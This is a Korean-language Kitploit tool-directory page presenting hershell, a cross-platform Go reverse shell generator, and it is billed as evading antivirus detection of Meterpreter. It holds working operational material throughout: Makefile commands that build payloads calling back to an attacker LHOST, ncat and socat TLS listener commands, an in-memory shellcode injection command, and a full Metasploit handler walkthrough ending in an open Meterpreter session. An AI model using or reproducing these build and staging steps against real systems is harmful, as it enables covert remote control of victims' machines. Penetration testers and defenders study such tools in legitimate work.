Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hershell — 멀티플랫폼 리버스 셸 생성기 | Kitploit
도구/GitHubGitHub/lesnuages/hershell
Encryption/Decryption ToolsPayload GenerationExploitationShellcodePost-ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHublesnuages/hershell

hershell

멀티플랫폼 리버스 셸 생성기

592986년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

Hershell

Go로 작성된 간단한 TCP 리버스 셸.

TLS를 사용하여 통신을 보호하며, 인증서 공개키 지문 고정 기능을 제공하여 트래픽 가로채기를 방지합니다.

지원되는 OS:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD 및 파생 제품

왜 ?

Meterpreter 페이로드는 훌륭하지만, 때때로 AV 제품에 탐지됩니다.

이 프로젝트의 목표는 여러 시스템에서 작동할 수 있는 간단한 리버스 셸을 얻는 것입니다.

어떻게 ?

Go로 작성되었으므로, 원하는 아키텍처에 대해 소스를 크로스 컴파일할 수 있습니다.

시작 및 의존성

이것은 Go 프로젝트이므로, Golang 환경을 설정하려면 공식 문서를 따라야 합니다 ($GOPATH 환경 변수 포함).

그런 다음, go get github.com/lesnuages/hershell을 실행하여 프로젝트를 가져옵니다.

페이로드 빌드

간단하게 하기 위해, 제공된 Makefile을 사용할 수 있습니다. 다음 환경 변수를 설정할 수 있습니다:

  • GOOS : 대상 OS
  • GOARCH : 대상 아키텍처
  • LHOST : 공격자 IP 또는 도메인 이름
  • LPORT : 리스너 포트

GOOS 및 GOARCH 변수에 대한 허용 값은 여기에서 확인할 수 있습니다.

그러나 Makefile에는 몇 가지 도우미 타겟이 있습니다:

  • depends : 서버 인증서 생성 (리버스 셸에 필요)
  • windows32 : Windows 32비트 실행 파일 빌드 (PE 32비트)
  • windows64 : Windows 64비트 실행 파일 빌드 (PE 64비트)
  • linux32 : Linux 32비트 실행 파일 빌드 (ELF 32비트)
  • linux64 : Linux 64비트 실행 파일 빌드 (ELF 64비트)
  • macos32 : Mac OS 32비트 실행 파일 빌드 (Mach-O)
  • macos64 : Mac OS 64비트 실행 파일 빌드 (Mach-O)

이러한 타겟의 경우, LHOST 및 LPORT 환경 변수만 설정하면 됩니다.

셸 사용

실행되면 원격 셸이 제공됩니다. 이 사용자 정의 대화형 셸을 사용하면 Windows에서는 cmd.exe, UNIX 시스템에서는 /bin/sh를 통해 시스템 명령을 실행할 수 있습니다.

다음 특수 명령이 지원됩니다:

  • run_shell : 시스템 셸을 제공합니다 (예: 디렉토리 변경 가능)
  • inject <base64 shellcode> : 셸코드(base64 인코딩)를 동일한 프로세스 메모리에 주입하고 실행합니다
  • meterpreter [tcp|http|https] IP:PORT : metasploit의 stage2 리버스 tcp, http 또는 https meterpreter를 얻기 위해 multi/handler에 연결하고, 메모리에서 셸코드를 실행합니다 (현재 Windows만 지원)
  • exit : 정상 종료

사용법

먼저, 유효한 인증서를 생성해야 합니다:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Windows 용:

root@kitploit:~
# 미리 정의된 32비트 타겟
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# 미리 정의된 64비트 타겟
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Linux 용:

root@kitploit:~
# 미리 정의된 32비트 타겟
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# 미리 정의된 64비트 타겟
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Mac OS X 용

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

예제

기본 사용법

들어오는 연결을 처리하기 위해 다양한 도구를 사용할 수 있습니다. 예:

  • socat
  • ncat
  • openssl 서버 모듈
  • metasploit multi handler (python/shell_reverse_tcp_ssl 페이로드 사용)

다음은 ncat을 사용한 예입니다:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

다음은 socat을 사용한 예입니다 (버전 1.7.3.2에서 테스트):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter 스테이징

경고: 현재 Windows 플랫폼에서만 작동합니다.

Meterpreter 스테이징은 현재 다음 페이로드를 지원합니다:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

올바른 페이로드를 사용하려면 사용할 전송 방식을 지정하십시오 (tcp, http, https).

Meterpreter 스테이징 기능을 사용하려면 핸들러를 시작하십시오:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

그런 다음, hershell에서 meterpreter 명령을 사용하십시오:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

msfconsole에 새로운 meterpreter 세션이 나타나야 합니다:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

크레딧

Dockerfile 기능에 대해 @khast3x에게 감사드립니다.

도구 다운로드